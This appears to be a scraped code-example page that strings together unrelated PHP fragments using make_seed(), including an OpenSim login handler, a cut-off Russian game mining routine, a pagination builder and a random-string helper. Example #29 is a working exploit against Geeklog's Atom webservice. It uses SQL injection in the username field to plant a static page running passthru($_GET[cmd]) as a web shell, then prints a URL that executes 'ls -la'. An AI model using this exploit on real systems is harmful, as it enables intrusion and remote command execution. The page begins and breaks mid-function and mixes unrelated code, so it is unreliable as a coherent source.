    $msg .= $use_logon_name ? "\r\n" . translate('Your logon name is', array($result['logon_name'])) : '';
    // Send email
    $mailer = new PHPMailer();
    $mailer->AddAddress($result['email'], $result['fname']);
    $mailer->FromName = $conf['app']['title'];
    $mailer->From = $adminemail;
    $mailer->Subject = $sub;
    $mailer->Body = $msg;
    $mailer->Send();
    return true;
}
예제 #26
0
function process_login($method_name, $params, $userID)
{
    $config =& get_config();
    $userService = $config['user_service'];
    log_message('debug', "Processing new login request");
    $req = $params[0];
    $fullname = $req["first"] . ' ' . $req["last"];
    // Sanity check the request, make sure it's somewhat valid
    if (empty($userID)) {
        if (!isset($req["first"], $req["last"], $req["passwd"]) || empty($req["first"]) || empty($req["last"]) || empty($req["passwd"])) {
            return array('reason' => 'key', 'login' => 'false', 'message' => "Login request must contain a first name, last name, and password and they cannot be blank");
        }
        // Authorize the first/last/password and resolve it to a user account UUID
        log_message('debug', "Doing password-based authorization for user {$fullname}");
        $userID = authorize_identity($fullname, $req['passwd']);
        if (empty($userID)) {
            return array('reason' => 'key', 'login' => 'false', 'message' => "Sorry! We couldn't log you in.\nPlease check to make sure you entered the right\n    * Account name\n    * Password\nAlso, please make sure your Caps Lock key is off.");
        }
        log_message('debug', sprintf("Authorization success for %s", $userID));
    } else {
        log_message('debug', sprintf("Using pre-authenticated capability for %s", $userID));
    }
    // Get information about the user account
    $user = get_user_by_id($userID);
    if (empty($user)) {
        return array('reason' => 'key', 'login' => 'false', 'message' => "Sorry! We couldn't log you in. User account information could not be retrieved. If this problem persists, please contact the grid operator.");
    }
    $login_success = true;
    //ensure username has the same case as in the database
    $fullname = $user['Name'];
    if (!empty($user['UserFlags'])) {
        // get_user_by_id() fully decodes the structure, this is not needed
        //$userflags = json_decode($user['UserFlags'], TRUE);
        $userflags = $user['UserFlags'];
        if (!empty($userflags['Suspended']) && (bool) $userflags['Suspended'] === true) {
            $login_success = false;
            log_message('debug', "User " . $user['Name'] . " is banned.");
        } else {
            if ($user['AccessLevel'] < $config['access_level_minimum']) {
                if ($config['validation_required']) {
                    if (!empty($userflags['Validated'])) {
                        $login_success = $userflags['Validated'];
                    } else {
                        $login_success = false;
                    }
                    if (!$login_success) {
                        log_message('debug', "User " . $user['Name'] . " has not validated their email.");
                    }
                }
            }
        }
    } else {
        if ($user['AccessLevel'] < $config['access_level_minimum'] && $config['validation_required']) {
            $login_success = false;
            log_message('debug', "User " . $user['Name'] . " has not validated their email.");
        }
    }
    if (!$login_success) {
        return array('reason' => 'key', 'login' => 'false', 'message' => "Sorry!  We couldn't log you in.  User account has been suspended or is not yet activated.  If this problem persists, please contact the grid operator.");
    }
    $lastLocation = null;
    if (isset($user['LastLocation'])) {
        $lastLocation = SceneLocation::fromOSD($user['LastLocation']);
    }
    $homeLocation = null;
    if (isset($user['HomeLocation'])) {
        $homeLocation = SceneLocation::fromOSD($user['HomeLocation']);
    }
    log_message('debug', sprintf("User retrieval success for %s", $fullname));
    // Check for an existing session
    $existingSession = get_session($userID);
    if (!empty($existingSession)) {
        log_message('debug', sprintf("Existing session %s found for %s in scene %s", $existingSession["SessionID"], $fullname, $existingSession["SceneID"]));
        $sceneID = null;
        if (UUID::TryParse($existingSession["SceneID"], $sceneID)) {
            inform_scene_of_logout($sceneID, $userID);
        }
        if (remove_session($userID)) {
            log_message('debug', "Removed existing session for {$fullname} ({$userID})");
        } else {
            log_message('warn', "Failed to remove session for {$fullname} ({$userID})");
            return array('reason' => 'presence', 'login' => 'false', 'message' => "You are already logged in from another location. Please try again later.");
        }
    } else {
        log_message('debug', "No existing session found for {$fullname} ({$userID})");
    }
    // Create a login session
    $sessionID = null;
    $secureSessionID = null;
    $extradata = array('ClientIP' => $_SERVER['REMOTE_ADDR']);
    if (!add_session($userID, $sessionID, $secureSessionID, $extradata)) {
        return array('reason' => 'presence', 'login' => 'false', 'message' => "Failed to create a login session. Please try again later.");
    }
    log_message('debug', sprintf("Session creation success for %s (%s)", $fullname, $userID));
    // Find the starting scene for this user
    $scene = null;
    $startPosition = null;
    $startLookAt = null;
    if (!find_start_location($req['start'], $lastLocation, $homeLocation, $scene, $startPosition, $startLookAt) || !isset($scene->ExtraData['ExternalAddress'], $scene->ExtraData['ExternalPort'])) {
        return array('reason' => 'presence', 'login' => 'false', 'message' => "Error connecting to the grid. No suitable region to connect to.");
    }
    $lludpAddress = $scene->ExtraData['ExternalAddress'];
    $lludpPort = $scene->ExtraData['ExternalPort'];
    // Generate a circuit code
    srand(make_seed());
    $circuitCode = rand();
    // Prepare a login to the destination scene
    $seedCapability = NULL;
    $appearance = $user['LLPackedAppearance'];
    if (!create_opensim_presence($scene, $userID, $circuitCode, $fullname, $appearance, $sessionID, $secureSessionID, $startPosition, $seedCapability)) {
        return array('reason' => 'presence', 'login' => 'false', 'message' => "Failed to establish a presence in the destination region. Please try again later.");
    }
    log_message('debug', sprintf("Presence creation success for %s (%s) in %s with seedcap %s", $fullname, $userID, $scene->Name, $seedCapability));
    // Build the response
    $response = array();
    $response['seconds_since_epoch'] = time();
    $response['login'] = '******';
    $response['agent_id'] = (string) $userID;
    list($response['first_name'], $response['last_name']) = explode(' ', $fullname);
    $response['message'] = $config['message_of_the_day'];
    $response['udp_blacklist'] = $config['udp_blacklist'];
    $response['circuit_code'] = $circuitCode;
    $response['sim_ip'] = $lludpAddress;
    $response['sim_port'] = (int) $lludpPort;
    $response['seed_capability'] = $seedCapability;
    $response['region_x'] = (string) $scene->MinPosition->X;
    $response['region_y'] = (string) $scene->MinPosition->Y;
    $response['region_size_x'] = (string) ($scene->MaxPosition->X - $scene->MinPosition->X);
    $response['region_size_y'] = (string) ($scene->MaxPosition->Y - $scene->MinPosition->Y);
    $response['look_at'] = sprintf("[r%s, r%s, r%s]", $startLookAt->X, $startLookAt->Y, $startLookAt->Z);
    // TODO: If a valid $homeLocation is set, we should be pulling region_handle / position / lookat out of it
    $response['home'] = sprintf("{'region_handle':[r%s, r%s], 'position':[r%s, r%s, r%s], 'look_at':[r%s, r%s, r%s]}", $scene->MinPosition->X, $scene->MinPosition->Y, $startPosition->X, $startPosition->Y, $startPosition->Z, $startLookAt->X, $startLookAt->Y, $startLookAt->Z);
    $response['session_id'] = (string) $sessionID;
    $response['secure_session_id'] = (string) $secureSessionID;
    $req['options'][] = 'initial-outfit';
    for ($i = 0; $i < count($req['options']); $i++) {
        $option = str_replace('-', '_', $req['options'][$i]);
        if (file_exists(BASEPATH . "options/Class.{$option}.php")) {
            if (include_once BASEPATH . "options/Class.{$option}.php") {
                $instance = new $option($user);
                $response[$req["options"][$i]] = $instance->GetResults();
            } else {
                log_message('warn', "Unable to process login option: " . $option);
            }
        } else {
            log_message('debug', "Option " . $option . " not implemented.");
        }
    }
    $response["start_location"] = $req["start"];
    $response["agent_access"] = 'A';
    $response["agent_region_access"] = 'A';
    $response["agent_access_max"] = 'A';
    $response["agent_flags"] = 0;
    $response["ao_transition"] = 0;
    $response["inventory_host"] = "127.0.0.1";
    log_message('info', sprintf("Login User=%s %s Channel=%s Start=%s Viewer=%s id0=%s Mac=%s", $req["first"], $req["last"], $req["channel"], $req["start"], $req["version"], $req["id0"], $req["mac"]));
    return $response;
}
예제 #27
0
         $r_saphir = 0;
         $r_izumrud = 0;
         $r_rubin = 0;
         $r_almaz = 1;
         break;
 }
 //уменьшим прочность кирки
 myquery("UPDATE game_items SET item_uselife=item_uselife-2 WHERE user_id={$user_id} AND priznak=0 AND used=21");
 list($cur_item_uselife, $id_item_kirka) = mysql_fetch_array(myquery("SELECT item_uselife,id FROM game_items WHERE user_id={$user_id} AND priznak=0 AND used=21"));
 if ($cur_item_uselife <= 0) {
     //кирка сломана
     //$Item = new Item($id_item_kirka);
     //$Item->down();
     echo 'У тебя сломалась кирка! Ты не сможешь дальше работать!';
 }
 mt_srand(make_seed());
 $r = mt_rand(0, 100);
 if ($r <= $r_neud) {
     //неудачная попытка
     echo 'Ты не ' . echo_sex('смог', 'смогла') . ' ничего добыть';
 } else {
     //Выдадим опыт за подход
     add_exp_for_craft($user_id, 6);
     $id_resource = 0;
     if ($r <= $r_neud + $r_ugol) {
         //добыча угля
         $id_resource = $id_resource_coal;
     } elseif ($r <= $r_neud + $r_ugol + $r_jelezo) {
         //добыча железной руды
         $id_resource = $id_resource_iron_ore;
     } elseif ($r <= $r_neud + $r_ugol + $r_jelezo + $r_med) {
예제 #28
0
function create_pager2($totalrows, $offset, $results, $lang_strings = array())
{
    mt_srand(make_seed());
    $radius = 4;
    $phpself = explode('?', $_SERVER['REQUEST_URI']);
    $phpself = $phpself[0];
    global $accepted_results_per_page;
    $params = array();
    $params = array_merge($_GET, $_POST);
    unset($params['o'], $params['r'], $params[session_name()]);
    $qs = array2qs($params, array(session_name()), '&amp;');
    $myrand = mt_rand(1000, 2000);
    if (empty($results)) {
        $results = 10;
    }
    $total_pages = ceil($totalrows / $results);
    $myreturn = "<form id=\"pagerform{$myrand}\" action=\"{$phpself}\" method=\"get\">\n";
    $myreturn .= "<ul class=\"pager\">\n";
    $myreturn .= '<li class="text">' . (isset($lang_strings['page']) ? $lang_strings['page'] : '') . '</li>';
    if ($offset > 0) {
        $myreturn .= '<li class="goto_first">';
        $myreturn .= '<a href="' . $phpself . '?o=0&amp;r=' . $results;
        if (!empty($qs)) {
            $myreturn .= '&amp;' . $qs;
        }
        $myreturn .= '" title="' . (isset($lang_strings['goto_first']) ? $lang_strings['goto_first'] : 'Go to first page') . '">&lt;&lt;</a></li>';
        $myreturn .= '<li class="goto_previous">';
        $myreturn .= '<a href="' . $phpself . '?o=' . ($offset - $results > 0 ? $offset - $results : 0) . '&amp;r=' . $results;
        if (!empty($qs)) {
            $myreturn .= '&amp;' . $qs;
        }
        $myreturn .= '" title="' . (isset($lang_strings['goto_prev']) ? $lang_strings['goto_prev'] : 'Go to previous page') . '">&lt;</a></li>';
    }
    $dotsbefore = false;
    $dotsafter = false;
    $page_select_options = '';
    for ($i = 1; $i <= $total_pages; ++$i) {
        if (($i - 1) * $results <= $offset && $offset < $i * $results) {
            $myreturn .= '<li class="current_page';
            if ($i == 1) {
                $myreturn .= ' first';
            }
            $myreturn .= '">' . $i . '</li>';
        } elseif (($i - 1 + $radius) * $results < $offset) {
            if (!$dotsbefore) {
                $myreturn .= '<li class="dots';
                if ($i == 1) {
                    $myreturn .= ' first';
                }
                $myreturn .= "\">...</li>\n";
                $dotsbefore = true;
            }
        } elseif (($i - 1 - $radius) * $results > $offset) {
            if (!$dotsafter) {
                $myreturn .= "<li class=\"dots\">...</li>\n";
                $dotsafter = true;
            }
        } else {
            $myreturn .= '<li';
            if ($i == 1) {
                $myreturn .= ' class="first"';
            }
            $myreturn .= '><a href="' . $phpself . '?o=' . ($i - 1) * $results . '&amp;r=' . $results;
            if (!empty($qs)) {
                $myreturn .= '&amp;' . $qs;
            }
            $myreturn .= '">' . $i . "</a></li>\n";
        }
        $page_select_options .= '<option value="' . ($i - 1) * $results . '">' . $i . '</option>';
    }
    if ($offset + $results < $totalrows) {
        $myreturn .= '<li class="goto_next"><a href="' . $phpself . '?o=' . ($offset + $results) . '&amp;r=' . $results;
        if (!empty($qs)) {
            $myreturn .= '&amp;' . $qs;
        }
        $myreturn .= '" title="' . (isset($lang_strings['goto_next']) ? $lang_strings['goto_next'] : 'Go to next page') . "\">&gt;</a></li>\n";
        $myreturn .= '<li class="goto_last"><a href="' . $phpself . '?o=' . ($total_pages - 1) * $results . '&amp;r=' . $results;
        if (!empty($qs)) {
            $myreturn .= '&amp;' . $qs;
        }
        $myreturn .= '" title="' . (isset($lang_strings['goto_last']) ? $lang_strings['goto_last'] : 'Go to last page') . "\">&gt;&gt;</a></li>\n";
    }
    $myreturn .= "<li class=\"goto_page\">\n";
    $myreturn .= "<select>\n";
    $myreturn .= $page_select_options;
    $myreturn .= "</select>\n";
    $myreturn .= "</li>\n";
    $myreturn .= "<li class=\"rpp\">\n";
    $myreturn .= "\t<input type=\"hidden\" name=\"o\" value=\"{$offset}\" />\n";
    while (list($k, $v) = each($params)) {
        if (is_array($v)) {
            while (list($subk, $subv) = each($v)) {
                $myreturn .= "\t<input type=\"hidden\" name=\"{$k}[{$subk}]\" value=\"{$subv}\" />\n";
            }
        } else {
            $myreturn .= "\t<input type=\"hidden\" name=\"{$k}\" value=\"{$v}\" />\n";
        }
    }
    $myreturn .= "\t" . (isset($lang_strings['rpp']) ? $lang_strings['rpp'] : '') . "<select name=\"r\" onchange=\"\$('#pagerform{$myrand}').submit()\">\n";
    $myreturn .= vector2options($accepted_results_per_page, $results);
    $myreturn .= "\t</select>\n";
    $myreturn .= "</li>\n";
    $myreturn .= "<li class=\"last\"></li>\n";
    $myreturn .= "</ul>\n";
    $myreturn .= "</form>\n";
    return $myreturn;
}
예제 #29
0
function sp_php()
{
    global $host, $port, $path, $pwd, $prefix, $uid;
    srand(make_seed());
    $id = rand(0x1, 0xffffff);
    echo "[*] id->" . $id . "\n";
    $sh = "passthru(\$_GET[cmd]);";
    //always specify the namespaceuri
    //if the staticpages.PHP permission is not avaliable, sp_php will be resetted to 0
    $data = "<?xml version=\"1.0\"?>" . "<entry>" . "<title term=\"1\" xmlns=\"http://www.geeklog.net/xmlns/app/gl\">    </title>" . "<id xmlns=\"http://www.geeklog.net/xmlns/app/gl\">{$id}</id>" . "<sp_content xmlns=\"http://www.geeklog.net/xmlns/app/gl\">{$sh}</sp_content>" . "<sp_php xmlns=\"http://www.geeklog.net/xmlns/app/gl\">1</sp_php>" . "<gl_etag xmlns=\"http://www.geeklog.net/xmlns/app/gl\">1</gl_etag>" . "</entry>";
    $usr = "******" . $prefix . "users LIMIT 1/*";
    $url = "http://{$host}:{$port}" . $path . "webservices/atom/index.php?plugin=staticpages";
    $out = _s($url, base64_encode($usr . ":" . $pwd), 1, $data);
    if (chk_err($_o)) {
        print "[*] Sql error.";
    } else {
        print "[*] Done! Visit->http://{$host}:{$port}" . $path . "staticpages/index.php?page={$id}&cmd=ls%20-la";
    }
}
예제 #30
0
function poor_rand_string($len)
{
    mt_srand(make_seed());
    $c = "";
    for ($i = 0; $i < $len; $i++) {
        $c .= chr(mt_rand(0, 127));
    }
    return $c;
}